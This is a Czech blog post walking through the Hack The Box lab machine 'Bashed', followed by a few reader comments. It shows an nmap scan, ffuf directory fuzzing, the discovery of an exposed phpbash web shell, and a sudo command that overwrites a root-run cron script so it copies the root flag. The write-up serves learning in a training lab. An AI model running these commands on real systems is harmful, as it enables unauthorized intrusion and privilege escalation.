Ukázka jednoduchého útoku na webovou aplikaci

in Česky!23 days ago

Bashed je, podle hodnocení, druhou nejjednoduší aplikací na Hack The Box. Uživatelé si ji mohou na požádání nechat připravit a ovládnout ji vcelku základními postupy.

image.png

Získání kontroly nad uživatelským účtem

Prvním krokem je vždy sken celého systému, abych zjistil, jaké služby na něm běží. Například webové stránky budou obvykle na portu 443 či 80, ale často se objevují na vnitřních sítích třeba i na portu 8080 či 8000. Administrátor si port pro většinu služeb může vybrat, ale základní služby najdeme zpravidla na jejich výchozích portech.

Sken celého systému na aktivní služby

nmap 10.10.10.68 -sV -Pn -p- -T3 --version-intensity 9

Nmap pošle ping požadavek na všechny porty (vlajka -p-). Bude se pokoušet ověřit verzi služeb (-sV s maximální intenzitou).

Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-20 12:51 CET
Nmap scan report for 10.10.10.68
Host is up (0.033s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.85 seconds

Fuzzing složek na serveru

Sken v tomto případě objevil jedinou aktivní službu na portu 80, který hostuje webové služby prostřednictvím protokolu http. V takovém případě je důležité webovou stránku zmapovat. Některé URL adresy nemusí být dostupné přes prokliknutí, proto se používá tzv. "FUZZING", které se snaží otestovat webovou aplikaci otestováním velkého množství běženě používaných názvů složek a souborů.

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://10.10.10.68/FUZZ -fr "Not Found"

První vlajkou nastavuji list názvů, které bude nástroj Ffuf používat. Druhý argument je URL adresa a třetí, za vlajkou -fr má za účel filtrovat stránky, které neexistují, na základě textu v odpovědi serveru,

/'___\  /'___\           /'___\
/\ \__/ /\ \__/  __  __  /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\   \ \_\  \ \____/  \ \_\
\/_/    \/_/   \/___/    \/_/

v2.1.0
________________________________________________

:: Method           : GET
:: URL              : http://10.10.10.68/FUZZ
:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
:: Filter           : Regexp: Not Found
________________________________________________

#                       [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 41ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 41ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 41ms]
[Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 46ms]
# directory-list-2.3-small.txt [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 50ms]
#                       [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 52ms]
#                       [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 52ms]
uploads                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 36ms]
php                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 31ms]
# Copyright 2007 James Fisher [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 1538ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 1538ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 35ms]
dev                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 32ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 2544ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 2546ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 2546ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 31ms]
#                       [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 3462ms]
images                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 3521ms]
# on at least 3 different hosts [Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 3522ms]
fonts                   [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 32ms]
[Status: 200, Size: 7743, Words: 2956, Lines: 162, Duration: 33ms]
:: Progress: [87664/87664] :: Job [1/1] :: 1242 req/sec :: Duration: [0:01:21] :: Errors: 0 ::

Tento proces se opakuje znovu na všech nalezených složkách (/uploads/FUZZ, /php/FUZZ atd.) a zároveň na virtuálních hostech (obvykle existuje www.., můžeme se ale setkat třeba i s app..)

Po několik opakování jsem objevil minimálně dvě adresy, na které by uživatel neměl mít přístup:

  • /php/, kde jsou definované nějaké funkce serveru
  • /dev/, kde jsou soubory určené pro vývojáře dané aplikace.

Celý proces fuzzování se opakuje a klíčový bude soubor phpbash.php, který bude dostupný na této adrese: http://10.10.10.68/dev/phpbash.php

Tento soubor je v podstatě terminálem, ve kterém mohu přímo zadávat shell příkazy.

image.png

Získání kontroly nad administrátorským účtem

V shellu nemá každý administrátorská oprávnění. Také může být seance shellu otevřená pouze v nějakém kontejneru/sandboxu, který přístup k systému omezuje.

V tomto případě stačí na systému zkontrolovat, jaké má uživatel pravomoce. Ačkoliv www-data je pouze uživatelský účet, má pravomoc spouštět skripty s administrátorkým oprávněním účtu skript-manager.

Jedním ze souborů, kteřý běží každých několik minut, je test.py, který můžu přepsat (opět používáním propůjčených pravomocí účtu skript-manager, aby dělal to, co chci.

sudo -u scriptmanager bash -c 'echo "import os; result = os.popen(\"cat /root/root.txt\").read(); f = open(\"/scripts/test.txt\", \"w\"); f.write(result); f.close()" > /scripts/test.py'

Užívatel scriptmanager také nemá přístup do složky root. Tento skript ale automatický spouští CRON se všemi potřebnými právy, automaticky a scriptmanager ho může upravovat.

Po přepsání souboru test.py stačí čekat, pak přečíst vlajku administrátorkého účtu a aplikace je oficiálně poražena.

sudo -u scriptmanager cat /scripts/test.txt

Sort:  

Píšeš o http. Dříve jsem zkoušel Wireshark po předchozím prolomení WEP, WPA-WPS. Dnes jsou stránky vesměs https, takže to je trochu složitější.
Ale celkově je mi už tato problematika cizí.
Ale je to zajímavé. Třeba že se dá celkem běžně dostat do sítě přes Web kameru a tak

Protokol hraje roli, když odchytáváš transportovaná data na síti. To bývá obvykle problém na veřejných wifi, kde je enkrypce mezi routerem a tvým zařízením žádná, protože si to majitel nastavoval sám.

Útok v ukázce je postavený na tom, že si můžu hrát s operačním systémem na serveru. Šifrování komunikace na síti by tady nehrálo roli.

Na HTB se obvykle požívá http, protože je jednoduší takto ty aplikace flexibilně vypnout a zapnotu, když někdo dostane chuť na ni útočit.

Tedy vůbec nevím o čem je řeč, ale vypadá to zajímavě